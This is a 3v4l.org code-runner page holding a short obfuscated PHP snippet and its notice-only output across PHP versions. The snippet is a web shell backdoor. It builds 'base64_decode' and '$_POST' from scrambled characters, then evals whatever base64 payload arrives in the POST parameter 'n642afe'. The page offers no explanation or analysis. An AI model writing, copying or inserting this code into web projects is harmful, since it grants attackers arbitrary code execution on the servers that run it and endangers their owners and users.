3v4l.org

run code in 150+ php & hhvm versions
Bugs & Features
<?php $sF="PCT4BA6ODSE_"; $s21=strtolower($sF[4].$sF[5].$sF[9].$sF[10].$sF[6].$sF[3].$sF[11].$sF[8].$sF[10].$sF[1].$sF[7].$sF[8].$sF[10]); $s22=${strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2])}['n642afe']; print_r($sf21); if(isset($s22)) {eval($s21($s22)); }?>
based on t4lhk
Output for 5.3.0 - 7.1.0
Notice: Undefined index: n642afe in /in/Bqr8m on line 3 Notice: Undefined variable: sf21 in /in/Bqr8m on line 5
Output for 5.0.4 - 5.2.17
Notice: Undefined index: n642afe in /in/Bqr8m on line 3 Notice: Undefined variable: sf21 in /in/Bqr8m on line 5
Output for 4.3.0 - 5.0.3
Notice: Undefined index: n642afe in /in/Bqr8m on line 3 Notice: Undefined variable: sf21 in /in/Bqr8m on line 5